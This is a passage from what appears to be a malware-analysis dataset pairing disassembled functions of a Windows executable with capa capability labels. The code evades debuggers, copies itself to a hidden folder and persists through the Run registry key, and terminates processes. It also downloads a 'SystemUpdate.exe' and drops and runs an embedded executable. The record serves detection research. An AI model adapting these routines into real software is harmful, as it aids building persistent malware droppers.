joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003e20
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x390]
sub rsp, 0x490
mov rax, qword [0x1400398d0]
xor rax, rsp
mov qword [rbp + 0x380], rax
call fcn.140005334
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
cmp eax, 1
jne 0x140003e64
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, [rbp + 0x170]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edi, edi
test eax, eax
je 0x140003e91
lea rcx, [rbp + 0x170]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r8, rax
jmp 0x140003e98
lea r8, str.Unknown
or rbx, 0xffffffffffffffff
lea rcx, [rsp + 0x60]
mov edx, 0x104
mov r9, rbx
call fcn.140011bfc
lea rdx, str.relog.exe
lea rcx, [rsp + 0x60]
call fcn.1400206e8
test eax, eax
je 0x140003f25
call fcn.140005dac
lea rcx, [rsp + 0x40]
call fcn.140006294
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
mov r9, rbx
xor r8d, r8d
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], rdi
mov word [rsp + 0x20], di
call fcn.140002300
lea rcx, [rsp + 0x20]
call fcn.1400060e0
call fcn.1400019c4
test eax, eax
jne 0x140003f13
call fcn.140003cd4
int3
cmp qword [rsp + 0x58], 8
jb 0x140003f25
mov rcx, qword [rsp + 0x40]
call fcn.140011278
lea rdx, str.relog.exe
lea rcx, [rsp + 0x60]
call fcn.1400206e8
test eax, eax
jne 0x140003f83
lea r8, [0x14002f5a8]
lea edx, [rax + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
test rax, rax
je 0x140003f73
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140003f73
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140007af8
call fcn.140006c7c
call fcn.140003cd4
int3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x140005160
Capabilities:
Get file size
Read file via mapping

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r14
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rbx, r8
xor r9d, r9d
mov r14, rdx
mov rsi, rcx
lea edx, [r9 + 4]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
jne 0x1400051b4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140005201
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
mov r8d, 0x3000
mov edx, eax
lea r9d, [rcx + 4]
mov qword [r14], rdx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x1400051b0
mov r8, qword [r14]
mov rdx, rdi
mov rcx, rax
call fcn.140010ae0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret
Function at 0x140005218
Capabilities:
Terminate process

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1400398d0]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor edi, edi
or rsi, 0xffffffffffffffff
mov qword [r11 - 0x20], 7
mov qword [r11 - 0x28], rdi
mov word [rsp + 0x20], di
mov rbx, rcx
cmp word [rdx], di
jne 0x14000525b
mov r8d, edi
jmp 0x140005268
mov r8, rsi
inc r8
cmp word [rdx + r8*2], di
jne 0x14000525e
lea rcx, [rsp + 0x20]
call fcn.140001f88
mov rax, qword [rbx]
cmp rax, qword [rbx + 8]
je 0x1400052f0
mov r11, qword [rsp + 0x30]
cmp qword [rax + 0x18], 8
mov r10, qword [rax + 0x10]
jb 0x140005290
mov rdx, qword [rax]
jmp 0x140005293
mov rdx, rax
cmp qword [rsp + 0x38], 8
lea r8, [rsp + 0x20]
mov r9, r10
cmovae r8, qword [rsp + 0x20]
cmp r11, r10
cmovb r9, r11
test r9, r9
jmp 0x1400052c7
movzx ecx, word [rdx]
cmp word [r8], cx
jne 0x14000531f
add r8, 2
add rdx, 2
dec r9
jne 0x1400052b3
mov ecx, edi
movsxd rdx, ecx
cmp r11, r10
mov ecx, edi
setne cl
cmp r11, r10
cmovb ecx, esi
test rdx, rdx
cmovne ecx, edx
test ecx, ecx
je 0x140005328
add rax, 0x20
cmp rax, qword [rbx + 8]
jne 0x140005280
cmp qword [rsp + 0x38], 8
jb 0x140005302
mov rcx, qword [rsp + 0x20]
call fcn.140011278
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140010a00
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
sbb ecx, ecx
and ecx, 0xfffffffe
inc ecx
jmp 0x1400052cb
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140005dac
Capabilities:
Get token privileges

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x1400398d0]
xor rax, rsp
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140005e85
mov rcx, qword [rsp + 0x38]
and dword [rsp + 0x30], 0
xor r9d, r9d
lea rax, [rsp + 0x30]
lea edx, [r9 + 3]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ecx, dword [rsp + 0x30]
call fcn.140011004
mov r9d, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
mov rbx, rax
lea rax, [rsp + 0x30]
mov edx, 3
mov r8, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140005e72
xor ecx, ecx
cmp dword [rbx], ecx
jbe 0x140005e51
mov eax, ecx
inc ecx
inc rax
lea rax, [rax + rax*2]
or dword [rbx + rax*4], 2
cmp ecx, dword [rbx]
jb 0x140005e3e
and qword [rsp + 0x28], 0
mov r9d, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
and qword [rsp + 0x20], 0
mov r8, rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.140010fc4
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140010a00
add rsp, 0x50
pop rbx
ret

Function at 0x140005e98
Capabilities:
Get common file path
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x1400398d0]
xor rax, rsp
mov qword [rbp + 0x70], rax
xor eax, eax
mov rdi, rcx
xor ebx, ebx
lea rcx, [rsp + 0x60]
mov edx, 0x104
mov byte [rsp + 0x58], bl
mov dword [rsp + 0x59], eax
mov word [rsp + 0x5d], ax
mov byte [rsp + 0x5f], al
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
movzx ecx, byte [rsp + 0x60]
mov dword [rsp + 0x38], ebx
lea edx, [rbx + 0x43]
test eax, eax
cmove ecx, edx
mov qword [rsp + 0x30], rbx
lea r9, [rsp + 0x40]
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x58], cl
lea rcx, [rsp + 0x58]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], rbx
mov word [rsp + 0x59], 0x5c3a
mov byte [rsp + 0x5b], bl
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [rsp + 0x40]
mov ecx, 0x69427551
imul eax, eax, 0x14a30b
sub eax, ecx
mov dword [rsp + 0x48], eax
imul eax, eax, 0x14a30b
sub eax, ecx
imul eax, eax, 0x14a30b
sub eax, ecx
mov word [rsp + 0x4e], ax
imul eax, eax, 0x14a30b
inc rbx
sub eax, ecx
mov byte [rsp + rbx + 0x4f], al
cmp rbx, 8
jl 0x140005f5b
movzx r9d, word [rsp + 0x4e]
mov r8d, dword [rsp + 0x48]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x52]
lea rdx, str._08lX_04lX_lu
mov rcx, rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.140010a00
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140005fb8
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xf0
mov rax, qword [0x1400398d0]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rbx, rcx
mov edi, 0x68
lea rcx, [rbp - 0x29]
mov r8d, edi
xor edx, edx
call fcn.140014650
xor eax, eax
mov dword [rbp - 0x29], edi
xor edi, edi
cmp qword [rbx + 0x18], 8
mov dword [rbp + 0x13], 1
mov word [rbp + 0x17], di
mov qword [rbp - 0x49], rax
mov qword [rbp - 0x41], rax
mov qword [rbp - 0x39], rax
jb 0x14000601b
mov rbx, qword [rbx]
lea rax, [rbp - 0x49]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x29]
mov rdx, rbx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000609d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.CreateProcess_failed__
lea rcx, [0x14004dde0]
mov ebx, eax
call fcn.14000cddc
mov edx, ebx
mov rcx, rax
call fcn.140009344
lea rdx, [0x14002f5c0]
mov rcx, rax
call fcn.14000cddc
mov rcx, rax
mov rbx, rax
call fcn.1400094a8
mov rcx, rbx
call fcn.1400095bc
jmp 0x1400060be
mov rcx, qword [rbp - 0x49]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x41]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140010a00
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x1400061c4
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x1400398d0]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rdx
lea rax, [rsp + 0x30]
lea rdx, [0x14002f670]
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140006231
lea rdx, str.Failed_to_open_registry_key.
lea rcx, [0x14004dde0]
call fcn.14000cddc
mov rcx, rax
mov rbx, rax
call fcn.1400094a8
mov rcx, rbx
call fcn.1400095bc
xor al, al
jmp 0x140006280
or rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], 0
jne 0x140006235
mov rcx, qword [rsp + 0x30]
inc eax
lea rdx, str.Services
mov dword [rsp + 0x28], eax
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x14000627e
lea rdx, str.Failed_to_set_registry_value.
jmp 0x14000620e
mov al, 1
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140010a00
add rsp, 0x40
pop rbx
ret
Function at 0x140006294
Capabilities:
Copy file
Create directory
Get common file path
Set file attributes

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x1e8]
sub rsp, 0x2e0
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x1400398d0]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
mov rbx, rcx
xor esi, esi
mov dword [rsp + 0x30], esi
mov byte [rbp - 0x80], sil
xor edx, edx
lea r8d, [rsi + 0x22]
lea rcx, [rbp - 0x7f]
call fcn.140014650
lea rcx, [rbp - 0x80]
call fcn.140005e98
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rsi + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x140006331
mov qword [rbx + 0x18], 7
mov qword [rbx + 0x10], rsi
mov word [rbx], si
xor r8d, r8d
lea rdx, [0x14002f5bc]
mov rcx, rbx
call fcn.140001f88
jmp 0x1400064bb
lea rdx, [0x14002f5ac]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x14000636d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000630b
mov r8d, 0x104
lea rdx, [rbp + 0xc0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [0x14002f5ac]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x14002f5b0]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, 2
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor r8d, r8d
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x14000630b
mov qword [rsp + 0x58], 0xf
mov qword [rsp + 0x50], rsi
mov byte [rsp + 0x40], sil
cmp byte [rbp - 0x50], sil
jne 0x1400063fb
mov r8, rsi
jmp 0x14000640c
lea rax, [rbp - 0x50]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], sil
jne 0x140006403
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x40]
call fcn.140001e88
nop
lea rdx, [rbp - 0x50]
call fcn.1400061c4
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae r8, qword [rsp + 0x40]
add r8, qword [rsp + 0x50]
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov qword [rsp + 0x78], 7
mov qword [rsp + 0x70], rsi
mov word [rsp + 0x60], si
lea rcx, [rsp + 0x60]
call fcn.14000e0b0
mov qword [rbx + 0x18], 7
mov qword [rbx + 0x10], rsi
mov word [rbx], si
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.14000ab64
cmp qword [rsp + 0x78], 8
jb 0x140006496
mov rcx, qword [rsp + 0x60]
call fcn.140011278
mov qword [rsp + 0x78], 7
mov qword [rsp + 0x70], rsi
mov word [rsp + 0x60], si
cmp qword [rsp + 0x58], 0x10
jb 0x1400064bb
mov rcx, qword [rsp + 0x40]
call fcn.140011278
mov rax, rbx
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.140010a00
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x1400064e4
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x1400398d0]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140006523
xor al, al
jmp 0x140006573
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
test eax, eax
je 0x140006568
jmp 0x140006552
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call fcn.140011a88
test eax, eax
je 0x140006566
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006541
jmp 0x140006568
mov bl, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140010a00
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140006758
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x1400398d0]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, rdx
lea rax, [r11 - 0x18]
mov rbx, rcx
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [r11 - 0x28], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor esi, esi
test eax, eax
jne 0x1400067f5
or rax, 0xffffffffffffffff
inc rax
cmp word [rbx + rax*2], si
jne 0x1400067ac
mov rcx, qword [rsp + 0x30]
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
test eax, eax
jne 0x1400067ef
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x1400067f7
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140010a00
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x140006c7c
Capabilities:
Create http request
Get common file path
Reference http user-agent string

Disassembly:
sub rsp, 0x468
mov rax, qword [0x1400398d0]
xor rax, rsp
mov qword [rsp + 0x450], rax
lea rdx, [rsp + 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x140006cb0
mov eax, 1
jmp 0x140006d2f
lea r8, str.SystemUpdate.exe
lea rcx, [rsp + 0x30]
mov edx, 0x104
call fcn.1400139a0
and dword [rsp + 0x20], 0
xor r9d, r9d
lea edx, [r9 + 1]
lea rcx, str.Mozilla_5.0
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenW]
test rax, rax
je 0x140006d2d
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.140002a98
test al, al
je 0x140006d2d
xor r9d, r9d
lea rax, [rsp + 0x240]
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x140006d2d
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x30]
call fcn.140006814
xor eax, eax
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140010a00
add rsp, 0x468
ret

Function at 0x140006d48
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x1a8]
sub rsp, 0x2a0
mov rax, qword [0x1400398d0]
xor rax, rsp
mov qword [rbp + 0x198], rax
mov r14, rcx
xor esi, esi
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140006d9b
xor eax, eax
jmp 0x140006e86
or eax, 0xffffffff
lea rdx, [rsp + 0x30]
mov rcx, rbx
mov dword [rsp + 0x30], 0x238
mov dword [rbp + 0x170], eax
mov dword [rbp + 0x174], eax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x140006e73
lea rax, [rsp + 0x5c]
mov rdx, r14
sub rdx, rax
movzx ecx, word [rax]
movzx r8d, word [rax + rdx]
sub ecx, r8d
jne 0x140006de6
add rax, 2
test r8d, r8d
jne 0x140006dd0
test ecx, ecx
jne 0x140006e65
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140006e65
lea rax, [rbp + 0x180]
lea r9, [rbp + 0x190]
lea r8, [rbp + 0x188]
lea rdx, [rbp + 0x178]
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
test eax, eax
je 0x140006e5c
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jns 0x140006e5c
mov rax, qword [rbp + 0x178]
mov esi, dword [rsp + 0x38]
mov qword [rbp + 0x170], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006dc5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rbp + 0x198]
xor rcx, rsp
call fcn.140010a00
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140006eb4
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x1400398d0]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140006f77
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x140006f6a
lea rax, [rsp + 0x4c]
mov rdx, rsi
sub rdx, rax
movzx ecx, word [rax]
movzx r8d, word [rax + rdx]
sub ecx, r8d
jne 0x140006f2c
add rax, 2
test r8d, r8d
jne 0x140006f16
test ecx, ecx
jne 0x140006f5c
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140006f5c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006f0b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140010a00
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x14000729c
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x260
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rax, qword [0x1400398d0]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, rcx
mov qword [rsp + 0x30], rcx
xor ebx, ebx
mov dword [rsp + 0x20], ebx
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov qword [rdi + 0x18], 7
mov qword [rdi + 0x10], rbx
mov word [rdi], bx
cmp word [rsp + 0x40], bx
je 0x14000730f
lea rcx, [rsp + 0x40]
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bx
jne 0x140007303
mov rbx, rax
mov r8, rbx
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140001f88
mov dword [rsp + 0x20], 1
lea rdx, str.driversetchosts
mov rcx, rdi
call fcn.140001ca8
mov rax, rdi
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140010a00
mov rbx, qword [rsp + 0x278]
add rsp, 0x260
pop rdi
ret
Function at 0x140009104
Capabilities:
Create process on windows
Delete file
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x238]
sub rsp, 0x330
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x1400398d0]
xor rax, rsp
mov qword [rbp + 0x220], rax
mov rdi, rcx
lea rdx, [0x14004f450]
mov ebx, 0x104
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rbp + 0x10]
xor r8d, r8d
lea rdx, str.temp_
lea rcx, [0x14004f450]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea r8, str..exe
mov edx, ebx
lea rcx, [rbp + 0x10]
call fcn.1400139a0
xor esi, esi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400091bc
xor al, al
jmp 0x1400092fc
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x70]
mov r8d, 0x12800
lea rdx, [0x14003af60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp - 0x78], 7
mov qword [rbp - 0x80], rsi
mov word [rsp + 0x70], si
mov ebx, 1
mov r8d, ebx
lea rdx, [0x14003216c]
lea rcx, [rsp + 0x70]
call fcn.140001f88
nop
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x70]
call fcn.140001ca8
lea rdx, [0x140032170]
lea rcx, [rsp + 0x70]
call fcn.140001ca8
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.1400021cc
lea edi, [rbx + 0x67]
mov r8d, edi
xor edx, edx
lea rcx, [rbp - 0x60]
call fcn.140014650
mov dword [rbp - 0x60], edi
xor eax, eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 8
cmovae rdx, qword [rsp + 0x70]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400092e6
or edx, 0xffffffff
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
